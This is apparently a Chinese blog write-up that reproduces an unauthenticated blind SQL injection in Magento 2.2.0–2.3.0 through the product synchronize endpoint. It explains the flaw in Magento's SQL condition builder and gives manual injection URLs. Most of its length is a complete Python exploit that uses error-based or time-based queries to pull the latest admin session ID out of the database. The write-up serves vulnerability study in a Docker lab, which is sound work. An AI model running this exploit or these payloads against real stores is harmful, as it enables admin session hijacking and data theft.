Magento
Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。相对于同行来说非常灵活但性能稍微差点。magento可能不常见,其实和wordpress是同一类的,wordpress是博客的框架,Magento是电商平台的框架。
思路
<?php
/****
** Build SQL statement for condition
**
** If $condition integer or string - exact value will be filtered ('eq' condition)
**
** If $condition is array is - one of the following structures is expected:
** - array("from" => $fromValue, "to" => $toValue)
** - array("eq" => $equalValue)
** - array("neq" => $notEqualValue)
** - array("like" => $likeValue)
** - array("in" => array($inValues))
** - array("nin" => array($notInValues))
** - array("notnull" => $valueIsNotNull)
** - array("null" => $valueIsNull)
** - array("gt" => $greaterValue)
** - array("lt" => $lessValue)
** - array("gteq" => $greaterOrEqualValue)
** - array("lteq" => $lessOrEqualValue)
** - array("finset" => $valueInSet)
** - array("regexp" => $regularExpression)
** - array("seq" => $stringValue)
** - array("sneq" => $stringValue)
**
** If non matched - sequential array is expected and OR conditions
** will be built using above mentioned structure
**
** ...
**/
public function prepareSqlCondition($fieldName, $condition)
{
$conditionKeyMap = [ [1]
'eq' => "{
{fieldName}} = ?",
'neq' => "{
{fieldName}} != ?",
'like' => "{
{fieldName}} LIKE ?",
'nlike' => "{
{fieldName}} NOT LIKE ?",
'in' => "{
{fieldName}} IN(?)",
'nin' => "{
{fieldName}} NOT IN(?)",
'is' => "{
{fieldName}} IS ?",
'notnull' => "{
{fieldName}} IS NOT NULL",
'null' => "{
{fieldName}} IS NULL",
'gt' => "{
{fieldName}} > ?",
'lt' => "{
{fieldName}} < ?",
'gteq' => "{
{fieldName}} >= ?",
'lteq' => "{
{fieldName}} <= ?",
'finset' => "FIND_IN_SET(?, {
{fieldName}})",
'regexp' => "{
{fieldName}} REGEXP ?",
'from' => "{
{fieldName}} >= ?",
'to' => "{
{fieldName}} <= ?",
'seq' => null,
'sneq' => null,
'ntoa' => "INET_NTOA({
{fieldName}}) LIKE ?",
];
$query = '';
if (is_array($condition)) {
$key = key(array_intersect_key($condition, $conditionKeyMap));
if (isset($condition['from']) || isset($condition['to'])) {
[2]
if (isset($condition['from'])) {
[3]
$from = $this->_prepareSqlDateCondition($condition, 'from');
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
}
if (isset($condition['to'])) {
[4]
$query .= empty($query) ? '' : ' AND ';
$to = $this->_prepareSqlDateCondition($condition, 'to');
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
}
} elseif (array_key_exists($key, $conditionKeyMap)) {
$value = $condition[$key];
if (($key == 'seq') || ($key == 'sneq')) {
$key = $this->_transformStringSqlCondition($key, $value);
}
if (($key == 'in' || $key == 'nin') && is_string($value)) {
$value = explode(',', $value);
}
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
} else {
$queries = [];
foreach ($condition as $orCondition) {
$queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
}
$query = sprintf('(%s)', implode(' OR ', $queries));
}
} else {
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
}
return $query;
}
protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
{
$sql = $this->quoteInto($text, $value);
$sql = str_replace('{
{fieldName}}', $fieldName, $sql);
return $sql;
}
简单来说就是对不同sql语句进行构造并通过from,to将?赋予不同的定值(from,to用法一般是from:1,to:100,那么?的定值就是就是price >= ‘100’ AND price <= ‘1000’),但如果from的值中存在问号,那么to的值将成为?的定值(from:‘x?’ to: ’ OR 1=1 – + 就会变成 price >= ‘x’ OR 1=1 – -’’ AND price <= ’ OR 1=1 --+’)。上面只是一个小的举例,真实代码是不太一样的 ,那如果我们能控制第二个参数(to),那我们不就能进行sql注入了吗
在Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize中找到问题(这里还有点疑问)
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam('ids', []);
$typeId = $this->getRequest()->getParam('type_id', null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (\Exception $e) {
$resultJson->setStatusHeader(
\Zend\Http\Response::STATUS_CODE_400,
\Zend\Http\AbstractMessage::VERSION_11,
'Bad Request'
);
}
return $resultJson->setData([]);
}
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
这就导致一个未经身份验证的盲SQL注入(修改OR后的值来完成sql注入)
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
漏洞复现
进入docker启动的环境开始Agree and Setup Magento
紧接着next,安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认
注册下载完成后登陆
贴上POC,python3 mangento.py http://------:8080
,利用脚本跑出session
#!/usr/bin/env python3
# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi
# Charles Fol
# 2019-03-22
#
# SOURCE & SINK
# The sink (from-to SQL condition) has been present from Magento 1.x onwards.
# The source (/catalog/product_frontend_action/synchronize) from 2.2.0.
# If your target runs Magento < 2.2.0, you need to find another source.
#
# SQL INJECTION
# The exploit can easily be modified to obtain other stuff from the DB, for
# instance admin/user password hashes.
#
import requests
import string
import binascii
import re
import random
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def run(url):
sqli = SQLInjection(url)
try:
sqli.find_test_method()
sid = sqli.get_most_recent_session()
except ExploitError as e:
print('Error: %s' % e)
def random_string(n=8):
return ''.join(random.choice(string.ascii_letters) for _ in range(n))
class ExploitError(Exception):
pass
class Browser:
"""Basic browser functionality along w/ URLs and payloads.
"""
PROXY = None
def __init__(self, URL):
self.URL = URL
self.s = requests.Session()
self.s.verify = False
if self.PROXY:
self.s.proxies = {
'http': self.PROXY,
'https': self.PROXY,
}
class SQLInjection(Browser):
"""SQL injection stuff.
"""
def encode(self, string):
return '0x' + binascii.b2a_hex(string.encode()).decode()
def find_test_method(self):
"""Tries to inject using an error-based technique, or falls back to timebased.
"""
for test_method in (self.test_error, self.test_timebased):
if test_method('123=123') and not test_method('123=124'):
self.test = test_method
break
else:
raise ExploitError('Test SQL injections failed, not vulnerable ?')
def test_timebased(self, condition):
"""Runs a test. A valid condition results in a sleep of 1 second.
"""
payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition
r = self.s.get(
self.URL + '/catalog/product_frontend_action/synchronize',
params={
'type_id': 'recently_products',
'ids[0][added_at]': '',
'ids[0][product_id][from]': '?',
'ids[0][product_id][to]': payload
}
)
return r.elapsed.total_seconds() > 1
def test_error(self, condition):
"""Runs a test. An invalid condition results in an SQL error.
"""
payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition
r = self.s.get(
self.URL + '/catalog/product_frontend_action/synchronize',
params={
'type_id': 'recently_products',
'ids[0][added_at]': '',
'ids[0][product_id][from]': '?',
'ids[0][product_id][to]': payload
}
)
if r.status_code not in (200, 400):
raise ExploitError(
'SQL injection does not yield a correct HTTP response'
)
return r.status_code == 400
def word(self, name, sql, size=None, charset=None):
"""Dichotomically obtains a value.
"""
pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0'
full = ''
check = False
if size is None:
# Yeah whatever
size_size = self.word(
name,
'LENGTH(LENGTH(%s))' % sql,
size=1,
charset=string.digits
)
size = self.word(
name,
'LENGTH(%s)' % sql,
size=int(size_size),
charset=string.digits
)
size = int(size)
print("%s: %s" % (name, full), end='\r')
for p in range(size):
c = charset
while len(c) > 1:
middle = len(c) // 2
h0, h1 = c[:middle], c[middle:]
condition = pattern % (sql, p+1, self.encode(h0))
c = h1 if self.test(condition) else h0
full += c
print("%s: %s" % (name, full), end='\r')
print(' ' * len("%s: %s" % (name, full)), end='\r')
return full
def get_most_recent_session(self):
"""Grabs the last created session. We don't need special privileges aside from creating a product so any session
should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the
backend.
"""
# This is the default admin session timeout
session_timeout = 900
query = (
'SELECT %%s FROM admin_user_session '
'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d '
'ORDER BY created_at DESC, updated_at DESC LIMIT 1'
) % session_timeout
# Check if a session is available
available = not self.test('(%s)=0' % (query % 'COUNT(*)'))
if not available:
raise ExploitError('No session is available')
print('An admin session is available !')
# Fetch it
sid = self.word(
'Session ID',
query % 'session_id',
charset=string.ascii_lowercase + string.digits,
size=26
)
print('Session ID: %s' % sid)
return sid
run(sys.argv[1])
原文链接:https://blog.csdn.net/zy15667076526/article/details/111824391
在本机跑了一下
最后再手动测试一下
http://------:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-
http://--------:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-
一个200一个400,证明通过改变OR的条件,即可实现SQL BOOL型盲注